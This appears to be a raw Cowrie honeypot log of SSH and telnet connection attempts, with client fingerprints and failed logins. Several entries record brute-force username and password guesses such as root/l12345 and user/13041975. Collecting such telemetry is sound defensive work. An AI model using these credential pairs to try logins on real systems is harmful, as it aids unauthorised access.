{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:18.447134Z","src_ip":"153.80.249.112","session":"7ff24c710fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:19.463171Z","src_ip":"218.78.60.105","session":"f6d34af9e28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50470,"dst_ip":"159.203.135.109","dst_port":22,"session":"394a118602cc","protocol":"ssh","message":"New connection: 193.228.128.84:50470 (159.203.135.109:22) [session: 394a118602cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:51.731588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:51.736382Z","src_ip":"193.228.128.84","session":"394a118602cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:51.838427Z","src_ip":"193.228.128.84","session":"394a118602cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l12345","message":"login attempt [root/l12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:52.149091Z","src_ip":"193.228.128.84","session":"394a118602cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:53.254819Z","src_ip":"193.228.128.84","session":"394a118602cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":43759,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1357bf90a62","protocol":"ssh","message":"New connection: 2.57.121.25:43759 (10.17.0.5:22) [session: a1357bf90a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:53.597133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:53.606159Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:53.710045Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13041975","message":"login attempt [user/13041975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:54.198797Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13031995","message":"login attempt [user/13031995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:55.306104Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47830,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfef41c552f6","protocol":"ssh","message":"New connection: 62.133.62.83:47830 (10.17.0.5:22) [session: cfef41c552f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:55.386826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:55.391022Z","src_ip":"62.133.62.83","session":"cfef41c552f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:55.469583Z","src_ip":"62.133.62.83","session":"cfef41c552f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"horror","message":"login attempt [root/horror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:55.708033Z","src_ip":"62.133.62.83","session":"cfef41c552f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13031978","message":"login attempt [user/13031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:56.414978Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:56.789378Z","src_ip":"62.133.62.83","session":"cfef41c552f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13021981","message":"login attempt [user/13021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:57.521969Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1258","message":"login attempt [user/1258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:58.628605Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:59.736459Z","src_ip":"2.57.121.25","session":"a1357bf90a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42104,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b07929a7c2","protocol":"ssh","message":"New connection: 103.153.68.219:42104 (10.17.0.5:22) [session: a3b07929a7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:16.590447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:16.595723Z","src_ip":"103.153.68.219","session":"a3b07929a7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:16.853903Z","src_ip":"103.153.68.219","session":"a3b07929a7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mario","message":"login attempt [root/mario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:17.628486Z","src_ip":"103.153.68.219","session":"a3b07929a7c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:18.888800Z","src_ip":"103.153.68.219","session":"a3b07929a7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":63476,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a8877bb792f","protocol":"ssh","message":"New connection: 38.93.206.2:63476 (10.17.0.5:22) [session: 7a8877bb792f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:38.448388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:38.453160Z","src_ip":"38.93.206.2","session":"7a8877bb792f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:38.510319Z","src_ip":"38.93.206.2","session":"7a8877bb792f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol123456","message":"login attempt [root/lol123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:38.666579Z","src_ip":"38.93.206.2","session":"7a8877bb792f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:39.719442Z","src_ip":"38.93.206.2","session":"7a8877bb792f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":35382,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff751f8b92c","protocol":"ssh","message":"New connection: 153.80.249.112:35382 (10.17.0.5:22) [session: 9ff751f8b92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:40.736990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:40.740955Z","src_ip":"153.80.249.112","session":"9ff751f8b92c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:40.824248Z","src_ip":"153.80.249.112","session":"9ff751f8b92c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:41.191479Z","src_ip":"153.80.249.112","session":"9ff751f8b92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:42.281486Z","src_ip":"153.80.249.112","session":"9ff751f8b92c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00190877914429,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:57:42.781676Z","src_ip":"37.216.252.19","session":"ed2af1529cbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:06.687754Z","src_ip":"218.78.60.105","session":"f29356ec6e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.216.252.19","src_port":6755,"dst_ip":"10.17.0.5","dst_port":23,"session":"4248eb812e56","protocol":"telnet","message":"New connection: 37.216.252.19:6755 (10.17.0.5:23) [session: 4248eb812e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:31.343330Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":50248,"dst_ip":"10.17.0.5","dst_port":22,"session":"759ecb4e11e6","protocol":"ssh","message":"New connection: 218.78.60.105:50248 (10.17.0.5:22) [session: 759ecb4e11e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:35.272913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:35.277775Z","src_ip":"218.78.60.105","session":"759ecb4e11e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:35.516498Z","src_ip":"218.78.60.105","session":"759ecb4e11e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":41156,"dst_ip":"10.17.0.5","dst_port":22,"session":"2defb2b5f0f5","protocol":"ssh","message":"New connection: 153.80.249.112:41156 (10.17.0.5:22) [session: 2defb2b5f0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:55.870620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:55.875817Z","src_ip":"153.80.249.112","session":"2defb2b5f0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:55.958352Z","src_ip":"153.80.249.112","session":"2defb2b5f0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123","message":"login attempt [myuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:58:56.323472Z","src_ip":"153.80.249.112","session":"2defb2b5f0f5","protocol":"ssh"}
